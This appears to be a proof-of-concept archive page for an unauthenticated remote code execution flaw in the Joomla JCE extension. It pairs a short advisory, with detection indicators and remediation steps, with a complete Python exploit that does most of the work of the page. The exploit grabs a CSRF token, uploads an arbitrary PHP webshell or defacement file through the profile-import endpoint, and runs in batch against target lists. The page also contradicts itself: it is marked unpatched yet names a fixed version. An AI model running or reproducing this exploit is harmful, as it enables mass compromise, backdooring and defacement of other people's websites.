PoC Archive PoC Archive
Critical CVE-2026-48907 unpatched

Unauthenticated RCE in Joomla Content Editor (JCE) Profile Import (CVE-2026-48907)

by Widget Factory (vendor); public exploit author unknown (0xgh057r3c0n PoC) · 2026-07-01

CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-48907
Category
web
Affected product
Joomla Content Editor (JCE) extension by Widget Factory
Affected versions
1.0.0 through 2.9.99.4
Disclosed
2026-07-01
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-01
Last Updated2026-06-16
Author / ResearcherWidget Factory (vendor); public exploit author unknown (0xgh057r3c0n PoC)
CVE / AdvisoryCVE-2026-48907
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3)
StatusWeaponized
TagsRCE, unauthenticated, Joomla, JCE, CMS, access-control, webshell, php-webshell, file-upload, CISA-KEV, active-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemJoomla Content Editor (JCE) extension by Widget Factory
Versions Affected1.0.0 through 2.9.99.4
Language / PlatformPHP (target); Python (PoC)
Authentication RequiredNo
Network Access RequiredYes (HTTP to Joomla site with JCE installed)

Summary

CVE-2026-48907 is a critical improper access control vulnerability in the JCE extension for Joomla. The profile import workflow (index.php?option=com_jce&task=profiles.import) is missing sufficient authorization checks, letting unauthenticated users create new editor profiles and abuse the import functionality to upload arbitrary PHP files, with additional bypass of file-type/MIME-type restrictions. Successful exploitation drops a PHP payload on the server and executes it, achieving unauthenticated remote code execution. A public exploit appeared 2026-06-09, and within 24 hours attackers compromised Joomla’s own infrastructure (extensions.joomla.org, community.joomla.org, certification.joomla.org). CISA added this to KEV on 2026-06-16 with FCEB remediation due 2026-06-19.


Vulnerability Details

Root Cause

Missing/insufficient authorization on JCE’s profile-import task allows unauthenticated creation of new editor profiles. The import handler does not adequately validate uploaded profile content, allowing a PHP file to be smuggled through and ultimately written to a web-accessible path.

Attack Vector

  1. Retrieve a CSRF token from the target Joomla site’s homepage.
  2. Submit a crafted XML “profile” import to index.php?option=com_jce&task=profiles.import, smuggling a PHP webshell.
  3. The malicious profile import writes the PHP payload to a predictable/discoverable path (e.g. under /tmp/ or JCE’s media directory).
  4. Request the uploaded file directly to achieve code execution.

Impact

Full unauthenticated remote code execution on the underlying Joomla host — attacker-controlled PHP execution with the privileges of the web server.


Environment / Lab Setup

Target:   Joomla site with JCE 1.0.0 - 2.9.99.4 installed
Attacker: Python 3 + requests

Proof of Concept

PoC Script

See CVE-2026-48907.py (exploit) and CVE-2026-48907.yaml (Nuclei-style detection template) in this folder.

1
python3 CVE-2026-48907.py -u https://target.example.com

Grabs a CSRF token from the target homepage, POSTs a crafted profile-import XML payload to smuggle a PHP webshell, then invokes the dropped shell for code execution. Supports batch/multi-target mode.


Detection & Indicators of Compromise

Signs of compromise:

  • Unfamiliar PHP files with webshell characteristics in JCE-writable directories
  • Joomla admin panel showing unrecognized editor profiles
  • Outbound requests to newly-created PHP files shortly after a profile-import POST

Remediation

ActionDetail
Primary fixUpdate JCE to version 2.9.99.5 or later
Interim mitigationDisable/restrict access to the JCE profile-import endpoint if immediate patching isn’t possible
CleanupAudit for and remove any unauthorized editor profiles and dropped PHP files if compromise is suspected

References


Notes

Auto-ingested from https://github.com/0xgh057r3c0n/CVE-2026-48907 on 2026-07-01. This CVE has 12+ independently written, verified-working public PoCs, indicating trivial reproducibility. Do not confuse with CVE-2026-48908 (a different Joomla vulnerability — “SP Page Builder” extension — already tracked in this archive).

CVE-2026-48907.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
#!/usr/bin/env python3
from random import randint
import re
from time import sleep
from requests import Session
import urllib3
import argparse
import sys
import os

# ============================================================
# CVE-2026-48907 Exploit - Custom File Upload
# ============================================================

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
BOLD = '\033[1m'
RESET = '\033[0m'

def read_custom_file(filepath):
    """Read the custom file content to upload"""
    try:
        with open(filepath, 'r') as f:
            return f.read()
    except FileNotFoundError:
        print(f"{RED}[!] File not found: {filepath}{RESET}")
        sys.exit(1)
    except Exception as e:
        print(f"{RED}[!] Error reading file: {e}{RESET}")
        sys.exit(1)

def exploit(url, payload_content, verbose=False):
    # Disable SSL verification warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Generate random filename
    TMP_FILE = f"cve-2026-48907-{randint(1000, 9999)}.xml.php"
    PAYLOAD = payload_content
    
    s = Session()
    s.verify = False
    
    print(f"\n[{CYAN}+{RESET}] Target: {url}")
    print(f"[{CYAN}+{RESET}] Fetching CSRF token...")
    
    try:
        r = s.get(url + "/", timeout=15)
        if r.status_code != 200:
            print(f"[{RED}-{RESET}] Failed to access the target")
            return False
    except Exception as e:
        print(f"[{RED}-{RESET}] Connection error: {e}")
        return False
    
    # Find CSRF token
    m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text) or re.search(
        r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', r.text, re.I
    )
    if m is None:
        print(f"[{RED}-{RESET}] Failed to find CSRF token")
        return False
    
    CSRF_TOKEN = m.group(1)
    print(f"[{CYAN}+{RESET}] CSRF Token: {CSRF_TOKEN}")
    
    # Upload the file
    print(f"[{CYAN}+{RESET}] Uploading file: {TMP_FILE}")
    try:
        r = s.post(
            url + "/index.php?option=com_jce",
            files={"profile_file": (TMP_FILE, PAYLOAD, "application/xml")},
            data={"task": "profiles.import", CSRF_TOKEN: "1"},
            timeout=15
        )
        
        if r.status_code != 200:
            print(f"[{RED}-{RESET}] Failed to import profile")
            print(f"[{GREEN}{RESET}] Not vulnerable to cve-2026-48907")
            return False
    except Exception as e:
        print(f"[{RED}-{RESET}] Upload error: {e}")
        return False
    
    print(f"[{CYAN}+{RESET}] Profile imported successfully!")
    
    # Test the uploaded file
    print(f"[{CYAN}+{RESET}] Testing uploaded file...")
    try:
        r = s.get(url + f"/tmp/{TMP_FILE}", timeout=15)
    except Exception as e:
        print(f"[{RED}-{RESET}] Error testing file: {e}")
        return False
    
    file_url = f"{url}/tmp/{TMP_FILE}"
    
    # Check if file was uploaded and accessible
    if r.status_code == 200:
        print(f"\n{'='*60}")
        print(f"{GREEN}[!!!!!] FILE UPLOADED SUCCESSFULLY!{RESET}")
        print(f"{GREEN}[!!!!!] Server IS VULNERABLE to CVE-2026-48907!{RESET}")
        print(f"{'='*60}")
        print(f"\n[{CYAN}+{RESET}] View your uploaded file: {file_url}")
        print(f"\n[{CYAN}+{RESET}] Quick access:")
        print(f"    curl \"{file_url}\"")
        return True
    else:
        print(f"\n{'='*60}")
        print(f"{GREEN}[✓] Not vulnerable to CVE-2026-48907{RESET}")
        print(f"{'='*60}")
        print(f"\n[{YELLOW}!{RESET}] File uploaded but may not be accessible.")
        print(f"[{YELLOW}!{RESET}] Try manually: {file_url}")
        return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-48907 Exploit - Custom File Upload',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 exploit.py -u http://target.com -F payload.php
  python3 exploit.py -f targets.txt -F shell.php
  python3 exploit.py -u http://target.com -F deface.html -v
  python3 exploit.py -f targets.txt -F backdoor.php -o results.txt
        """
    )
    
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Single target URL (e.g., http://target.com)')
    group.add_argument('-f', '--file', help='File containing list of target URLs (one per line)')
    
    parser.add_argument('-F', '--upload-file', required=True, 
                       help='Custom file to upload (e.g., shell.php, deface.html)')
    parser.add_argument('-v', '--verbose', action='store_true', 
                       help='Enable verbose output')
    parser.add_argument('-o', '--output', 
                       help='Save successful upload URLs to file')
    
    args = parser.parse_args()
    
    # Read the custom file content
    payload_content = read_custom_file(args.upload_file)
    print(f"[{CYAN}+{RESET}] Loaded custom file: {args.upload_file} ({len(payload_content)} bytes)")
    
    # Build URL list
    if args.url:
        urls = [args.url.rstrip('/')]
    else:
        try:
            with open(args.file, 'r') as f:
                urls = [line.strip().rstrip('/') for line in f if line.strip() and not line.startswith("#")]
        except FileNotFoundError:
            print(f"{RED}[!] File not found: {args.file}{RESET}")
            sys.exit(1)
        except Exception as e:
            print(f"{RED}[!] Error reading file: {e}{RESET}")
            sys.exit(1)
        
        if not urls:
            print(f"{RED}[!] No targets found in file!{RESET}")
            sys.exit(1)
    
    # ─── RED ASCII BANNER ───
    ascii_banner = r"""
_____________   _______________         _______________   ________  ________            _____   ______  ________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/           /  |  | /  __  \/   __   \   _  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  /   |  |_>      <\____    /  /_\  \  /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ /    ^   /   --   \  /    /\  \_/   \/    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /         \____   |\______  / /____/  \_____  /____/  
        \/                  \/                  \/     \/         \/     \/               |__|       \/                \/
"""
    print(RED + ascii_banner + RESET)
    print(f"\n{BOLD}{CYAN}Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE{RESET}")
    print(f"{YELLOW}Author : 0xgh057r3c0n {RESET}\n")
    
    print(f"[*] Loaded {len(urls)} target(s)\n")
    
    # Open output file if specified
    if args.output:
        out_file = open(args.output, 'w')
        out_file.write(f"# CVE-2026-48907 - Successful Upload URLs\n")
        out_file.write(f"# Targets tested: {len(urls)}\n")
        out_file.write(f"# Uploaded file: {args.upload_file}\n\n")
    
    success_count = 0
    
    for i, url in enumerate(urls, 1):
        print(f"\n[{YELLOW}*{RESET}] Target {i}/{len(urls)}")
        print(f"[{YELLOW}*{RESET}] {'='*50}")
        
        result = exploit(url, payload_content, args.verbose)
        
        if result:
            success_count += 1
            upload_url = f"{url}/tmp/cve-2026-48907-*.xml.php"
            if args.output:
                out_file.write(f"{url}\n")
        
        if i < len(urls):
            print(f"\n[{YELLOW}*{RESET}] Moving to next target...")
    
    # Summary
    print(f"\n{'='*60}")
    print(f"{BOLD}Scan Complete!{RESET}")
    print(f"[*] Total targets: {len(urls)}")
    print(f"{GREEN}[+] Successfully uploaded: {success_count}{RESET}")
    if len(urls) - success_count > 0:
        print(f"{RED}[-] Failed: {len(urls) - success_count}{RESET}")
    print(f"{'='*60}")
    
    if args.output:
        out_file.write(f"\n# Successfully uploaded: {success_count}\n")
        out_file.close()
        print(f"\n[{CYAN}+{RESET}] Results saved to: {args.output}")
    
    if success_count > 0:
        sys.exit(0)
    else:
        sys.exit(1)

if __name__ == "__main__":
    main()